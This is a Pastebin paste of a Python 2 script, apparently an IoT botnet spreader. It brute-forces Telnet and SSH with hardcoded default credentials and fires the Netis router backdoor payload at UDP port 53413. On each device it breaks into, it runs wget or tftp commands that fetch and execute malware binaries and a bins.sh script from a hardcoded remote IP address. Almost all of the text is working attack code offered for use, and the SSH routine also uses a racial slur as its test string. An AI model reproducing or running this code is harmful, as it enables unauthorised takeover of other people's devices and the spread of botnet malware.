API tools faq
paste
Advertisement
LNO_LiGhT

GoD-ScaNNeR(TELNET, SSH, NETIS) !UPDATED! By; LiGhT

LNO_LiGhT
Nov 18th, 2016
3,919
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.13 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/python
  2. """
  3.     GoD-MuLTi-ScaNNeR(NeTiS/TeLNeT/SSH)
  4.             By; LiGhT
  5. """
  6. import threading, sys, time, random, socket, re, os, paramiko
  7. from Queue import *
  8. from sys import stdout
  9.  
  10. if len(sys.argv) < 4:
  11.     print "GoD-MuLTi-ScaNNeR\n    By: LiGhT"
  12.     print "Usage: python "+sys.argv[0]+" <threads(1-100)> <ips per scan(100-1000)> <list>"
  13.     sys.exit()
  14.  
  15. # USER AND PASS LISTS #
  16. usernames = ["root", "admin", "root", "root"] #DONT CHANGE
  17. passwords = ["oelinux123", "admin", "Zte521", "vizxv"] #DONT CHANGE
  18. ssh_passwords = ["admin:1234", "root:1234"] #CAN CHANGE
  19. loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
  20.  
  21.  
  22. # START CONFIGURATION #
  23. url = "http://103.194.169.245/tftp" # ARM4 Binary
  24. sh_file = "http://103.194.169.245/bins.sh" # SH File
  25. commandpayload = "AA\x00\x00AAAA cd /var/; rm -rf sshd; wget http://103.194.169.245/sshd || tftp -r sshd -g 103.194.169.245; chmod 777 sshd; ./sshd; rm -rf sshd\x00" # MIPSEL Binary
  26.  
  27. # DONT TOUCH
  28. spawn_shell = "cat | sh"
  29. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  30. threads = int(sys.argv[1])
  31. h0h0 = int(sys.argv[2])
  32. ips = open(sys.argv[3], "r").readlines()
  33. queue = Queue()
  34. qcount = 0
  35. binary = url.split("/")
  36. binary = binary[3]
  37. ip = binary[2]
  38.  
  39. for ip in ips:
  40.     qcount += 1
  41.     stdout.write("\r[%d] Added to queue" % qcount)
  42.     stdout.flush()
  43.     queue.put(ip)
  44. print "\n"
  45.  
  46. def readUntil(tn, string, timeout=10):
  47.     buf = ''
  48.     start_time = time.time()
  49.     while time.time() - start_time < timeout:
  50.         buf += tn.recv(1024)
  51.         time.sleep(0.01)
  52.         if string in buf: return buf
  53.     raise Exception('TIMEOUT!')
  54.  
  55. def worker():
  56.     try:
  57.         while True:
  58.             try:
  59.                 if queue.empty() == True:
  60.                     sys.exit(1)
  61.                 iplist = []
  62.                 h0h0h0 = h0h0 + 1
  63.                 print "\033[33mGathering IPs\033[37m"%(ip.rstrip("\n"))
  64.                 for x in xrange(h0h0h0):
  65.                     ip = queue.get()
  66.                     iplist.append(ip)
  67.                     print "\033[33mIP Address Obtained \033[32m%s\033[37m"%(ip.rstrip("\n"))
  68.                     queue.task_done()
  69.                 time.sleep(1.5)
  70.                 print "\033[36mStarting SSH Threads\033[37m"
  71.                 for ip in iplist:
  72.                     ss = sssh(ip)
  73.                     ss.start()
  74.                     time.sleep(0.009)
  75.                 time.sleep(1)
  76.                 print "\033[32mStarting Telnet Threads\033[37m"
  77.                 for ip in iplist:
  78.                     tt = ttelnet(ip)
  79.                     tt.start()
  80.                     time.sleep(0.009)
  81.                 time.sleep(1)
  82.                 print "\033[35mStarting Netis Threads\033[37m"
  83.                 for ip in iplist:
  84.                     nn = nnetis(ip)
  85.                     nn.start()
  86.                     time.sleep(0.009)
  87.                 time.sleep(1)
  88.             except:
  89.                 print "\033[31mWORKER ERROR\033[37m" #will fuk up if more threads/workers then ips in list
  90.                 pass
  91.     except:
  92.         pass
  93.  
  94. class ttelnet(threading.Thread):
  95.         def __init__ (self, ip):
  96.             threading.Thread.__init__(self)
  97.             self.ip = str(ip).rstrip('\n')
  98.         def run(self):
  99.             try:
  100.                 tn = socket.socket()
  101.                 tn.settimeout(5)
  102.                 tn.connect((self.ip,23))
  103.                 time.sleep(0.2)
  104.                 hoho = ''
  105.                 hoho += readUntil(tn, ":")
  106.                 if "mdm9625" in hoho:
  107.                     notr00t = 1
  108.                     username = usernames[1]
  109.                     password = passwords[1]
  110.                     tn.send(username + "\n")
  111.                 elif "9615-cdp" in hoho:
  112.                     r00t = 1
  113.                     username = usernames[0]
  114.                     password = passwords[0]
  115.                     tn.send(username + "\n")
  116.                 if "F600" in hoho:
  117.                     zte = 1
  118.                     username = usernames[2]
  119.                     password = passwords[2]
  120.                     tn.send(username + "\n")
  121.                 elif "F660" in hoho:
  122.                     zte = 1
  123.                     username = usernames[2]
  124.                     password = passwords[2]
  125.                     tn.send(username + "\n")
  126.                 elif "F609" in hoho:
  127.                     zte = 1
  128.                     username = usernames[2]
  129.                     password = passwords[2]
  130.                     tn.send(username + "\n")
  131.                 if "(none)" in hoho:
  132.                     vizxv = 1
  133.                     username = usernames[3]
  134.                     password = passwords[3]
  135.                     tn.send(username + "\n")
  136.                 if "BCM" in hoho:
  137.                     BCM = 1
  138.                     username = usernames[1]
  139.                     password = passwords[1]
  140.                     tn.send(username + "\n")
  141.             except Exception:
  142.                 tn.close()
  143.             try:
  144.                 hoho = ''
  145.                 hoho += readUntil(tn, ":")
  146.                 if "assword" in hoho:
  147.                     tn.send(password + "\n")
  148.                     time.sleep(3)
  149.             except Exception:
  150.                 tn.close()
  151.             try:
  152.                 mp = ''
  153.                 mp += tn.recv(1024)
  154.                 if "#" in mp or "$" in mp or "~" in mp or ">" in mp or "root@" in mp: # !DO NOT CHANGE ANYTHING! #
  155.                     if r00t: tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  156.                     if notr00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+url+" -O phone; chmod 777 phone; ./phone; rm -rf phone" + "\n"); print "\033[32m[PHONE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  157.                     if zte: tn.send("cd /var/; rm -rf busybox filename; wget "+url+" -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" + "\n"); print "\033[32m[ZTE] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  158.                     if vizxv: tn.send("cd /var/ || cd /tmp/ || cd /dev/; tftp -r "+binary+" -g "+ip+"; chmod 777 "+binary+"; ./"+binary+"; rm -rf "+binary+""); print "\033[32m[VIZXV] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  159.                     if BCM: tn.send(spawn_shell + "\n"); time.sleep(1); tn.send("cd /tmp; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*" + "\n"); print "\033[32m[BCM] Command Sent %s!\033[37m"%(self.ip); time.sleep(8); tn.close()
  160.             except Exception:
  161.                 tn.close()
  162.                 pass
  163.  
  164. class nnetis(threading.Thread):
  165.     def __init__ (self, ip):
  166.         threading.Thread.__init__(self)
  167.         self.ip = str(ip).rstrip('\n')
  168.     def run(self):
  169.         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  170.         try:
  171.             print "\033[35m[NETIS] Payload Sent %s"%(self.ip)
  172.             s.sendto(loginpayload, (self.ip, 53413))
  173.             time.sleep(1)
  174.             s.sendto(commandpayload, (self.ip, 53413))
  175.             time.sleep(1)
  176.         except Exception:
  177.             pass
  178.  
  179. class sssh(threading.Thread):
  180.     def __init__ (self, ip):
  181.         threading.Thread.__init__(self)
  182.         self.ip = str(ip).rstrip('\n')
  183.     def run(self):
  184.         x = 1
  185.         while x != 0:
  186.             try:
  187.                 username='root'
  188.                 password="0"
  189.                 port = 22
  190.                 ssh = paramiko.SSHClient()
  191.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  192.                 dobreak=False
  193.                 for passwd in ssh_passwords:
  194.                     if ":n/a" in passwd:
  195.                         password=""
  196.                     else:
  197.                         password=passwd.split(":")[1]
  198.                     if "n/a:" in passwd:
  199.                         username=""
  200.                     else:
  201.                         username=passwd.split(":")[0]
  202.                     try:
  203.                         ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  204.                         dobreak=True
  205.                         break
  206.                     except:
  207.                         pass
  208.                     if True == dobreak:
  209.                         break
  210.                 badserver=True
  211.                 stdin, stdout, stderr = ssh.exec_command("echo nigger")
  212.                 output = stdout.read()
  213.                 if "nigger" in output:
  214.                     badserver=False
  215.                 if badserver == False:
  216.                     print "\033[36m[SSH] Command Sent %s!\033[37m"%(self.ip)
  217.                     ssh.exec_command("cd /tmp || cd /var/run || cd /dev; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*")
  218.                     time.sleep(3)
  219.                     ssh.close()
  220.                     x = 0
  221.                 if badserver == True:
  222.                     ssh.close()
  223.             except:
  224.                 pass
  225.             x = 0
  226.  
  227. for g in xrange(threads):
  228.     t = threading.Thread(target=worker)
  229.     t.setDaemon(True)
  230.     t.start()
  231.     time.sleep(0.001)
  232.    
  233. queue.join()
  234. print "Finished!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!